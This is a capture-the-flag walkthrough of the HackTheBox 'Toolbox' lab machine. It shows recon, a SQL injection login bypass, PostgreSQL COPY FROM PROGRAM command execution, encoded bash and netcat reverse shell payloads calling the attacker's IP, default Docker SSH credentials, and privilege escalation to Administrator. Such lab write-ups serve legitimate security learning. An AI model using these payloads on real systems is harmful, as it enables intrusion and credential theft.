Toolbox

October 29, 202310 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
ping -c 1 10.10.10.236
PING 10.10.10.236 (10.10.10.236) 56(84) bytes of data.
64 bytes from 10.10.10.236: icmp_seq=1 ttl=127 time=152 ms
--- 10.10.10.236 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 151.535/151.535/151.535/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Windows
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.236 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.236
5 │ [*] Open ports: 21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
> nmap -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 -sCV 10.10.10.236 -oN versions
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: MegaLogistics
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-10-29T20:34:08
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: 1s
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
FTP
nmap reported that anonymous login is enabled on port 21 (FTP). This means we can log in as the anonymous user without a password. Once connected, we see a file called docker-toolbox.exe; we can’t do anything with it for now, but we won’t forget about it 😉
$ ftp 10.10.10.236
Connected to 10.10.10.236.
Name (10.10.10.236:d3b0o): anonymous
331 Password required for anonymous
Password:
230 Logged on
ftp> ls
-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
SMB
nmap also reported an SMB service running on the target machine. With crackmapexec we get a bit more information about the target machine…
crackmapexec smb 10.10.10.236
SMB 10.10.10.236 445 TOOLBOX [*] Windows 10.0 Build 17763 x64 (name:TOOLBOX) (domain:Toolbox) (signing:False) (SMBv1:False)
Now we could try listing the SMB shares with different tools, but we don’t have permission to enumerate the shares, so we can’t go this way either
HTTPS
Going back to the nmap scan, there is a line in the port 443 output that says the following
ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
So we’ll add this domain to /etc/hosts
10.10.10.236 megalogistic.com admin.megalogistic.com
On the admin.megalogistic.com website we see a login panel. Trying the classic SQL injection ' or 1=1-- - in the username field, we can log in successfully. We can’t get much information from the website; we can only see the developer and version (MegaCorp 1.0.0) and a to-do that says:
- Send credentials to Tony
- Update the printer drivers
Exploitation
There is more we can try in the panel above. So far we’ve only logged in with 'or 1=1-- -, but maybe we can do more.
We start by entering a single quote to see whether a readable database error shows up.
Warning: pg_query(): Query failed: ERROR: unterminated quoted string at or near "''' AND password = md5('');" LINE 1: SELECT * FROM users WHERE username = ''' AND password = md5(... ^ in /var/www/admin/index.php on line 10
Warning: pg_num_rows() expects parameter 1 to be resource, bool given in /var/www/admin/index.php on line 11
An error does show up mentioning pg_query(), which tells us we’re dealing with PostgreSQL
To learn how to inject into PostgreSQL, there is a very interesting resource in the Payloads All The Things repo, which mentions an interesting vulnerability that turns the SQL injection into RCE (Remote Code Execution)
Basically, it consists of creating a table in the database the website uses
CREATE TABLE cmd_exec(cmd_output text);
Using COPY, the output of the id command will be put into the table, which causes the id command to be executed
COPY cmd_exec FROM PROGRAM 'id';
Optionally, if we can see the output, we could read it simply by querying the cmd_exec table
SELECT * FROM cmd_exec;
Knowing this, let’s go with the exploitation:
First we intercept the request with Burp Suite and send it to Repeater to work more comfortably. In the username field we add a quote to close the username’s quote, and then a ; to make another query. Now we can enter the query that performs the injection: CREATE TABLE cmd_exec(cmd_output text);. Finally, we comment out the rest with -- - so it ignores the next part of the password check query (if this isn’t clear, I have a video on my YouTube channel where I explain in 6 minutes how SQL injections work)
username=';+CREATE+TABLE+cmd_exec(cmd_output text)-- -
Now the cmd_exec table has been created
Reverse shell
Since the machine is Windows, to send ourselves a reverse shell we need to share the netcat executable (nc.exe) over SMB. If you’re on Kali or Parrot you probably already have it installed; you can find it with locate nc.exe. Now, from the same directory where nc.exe is, we can start the SMB server like this:
impacket-smbserver smb $(pwd) --smb2support
Parameter explanation
- ${pwd}: The current working directory; in this command it tells the SMB server where to share from
- –smb2support: Enables SMB version 2 support
Now we listen on port 443 to receive the reverse shell
nc -nlvp 443
Parameter explanation
- n: Skip DNS resolution
- l: Enable netcat’s listen mode
- v: Verbose mode
- p: Finally, p specifies the port number we’ll be listening on
With the SMB server running and the listener ready, we can now send the reverse shell through the SQL injection.
username=';+COPY+cmd_exec+FROM+PROGRAM+'//10.10.14.28/nc.exe+-e+cmd.exe+10.10.14.28+443'-- -&password=test
We don’t receive anything…
Even though the machine is Windows, maybe it has Docker, so instead of sending the reverse shell with netcat over SMB, we can try sending it directly with bash
The classic bash reverse shell is bash -i >& /dev/tcp/10.10.14.28/443 0>&1, but we’ll wrap it in bash -c "bash -i..." because the plain one might get blocked by the target machine. In short, it will look like this:
bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"
Before using it in the injection, we’ll base64-encode it to avoid problems with special characters.
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"' | base64
Now we have the base64 string, but there is a + in it, which we can replace with %2b.
The final command we need in the injection would be: first an echo with the base64, then base64 -d to decode it, and finally bash so the decoded result is run with bash.
echo "YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK" | base64 -d | bash
Applied to the injection, it would look like this:
username=';+COPY+cmd_exec+FROM+PROGRAM+'echo+"YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK"+|+base64+-d+|+bash'--+-
We get the connection!!!!!
Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash
Privilege escalation
We can tell we’re inside Docker because there is a .dockerenv file in the root directory
postgres@bc56e3cc55e9:/$ ls -la
total 80
drwxr-xr-x 1 root root 4096 Mar 29 2021 .
drwxr-xr-x 1 root root 4096 Mar 29 2021 ..
-rwxr-xr-x 1 root root 0 Mar 29 2021 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 19 2020 bin
drwxr-xr-x 2 root root 4096 Nov 10 2019 boot
drwxr-xr-x 5 root root 340 Oct 30 20:54 dev
...
A Google search turns up some default SSH credentials for boot2docker (website)
- user: docker
- pass: tcuser
If we check our IP with ifconfig, we see 172.17.0.2, so the gateway will most likely be 172.17.0.1
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 1338 bytes 183525 (179.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1163 bytes 173814 (169.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 3461 bytes 1232799 (1.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3461 bytes 1232799 (1.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
So we can connect to the Docker host machine with ssh [email protected]
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ssh [email protected]
[email protected]'s password:
( '>')
/) TC (\ Core is distributed with ABSOLUTELY NO WARRANTY.
(/-_--_-\) www.tinycorelinux.net
docker@box:~$
Escalating to root/Administrator
If we run sudo -l to see what we can run with sudo, it shows we can run any command as root without a password.
docker@box:~$ sudo -l
User docker may run the following commands on this host:
(root) NOPASSWD: ALL
docker@box:~$
Knowing this, we can simply run sudo bash and we’ll be root
docker@box:~$ sudo bash
root@box:/home/docker#
Looking around the files in the root directory a bit, there is a directory called c with a folder structure similar to Windows, where we can find the final flag
root@box:/c/Users/Administrator/Desktop# ls
desktop.ini root.txt
root@box:/c/Users/Administrator/Desktop#
And we have the root.txt flag
As a bonus, in the /c/Windows/Users/.ssh directory we can find an SSH private key that we can use to leave Docker and get onto the host machine. To use it, we have to save it to a file on our machine
To avoid problems, we have to set its permissions
chmod 600 id_rsa
Now we can connect over SSH as Administrator on the target machine with the following command
ssh -i id_rsa [email protected]
And we have a console as Administrator on the target machine
$ ssh -i id_rsa [email protected]
administrator@TOOLBOX C:\Users\Administrator>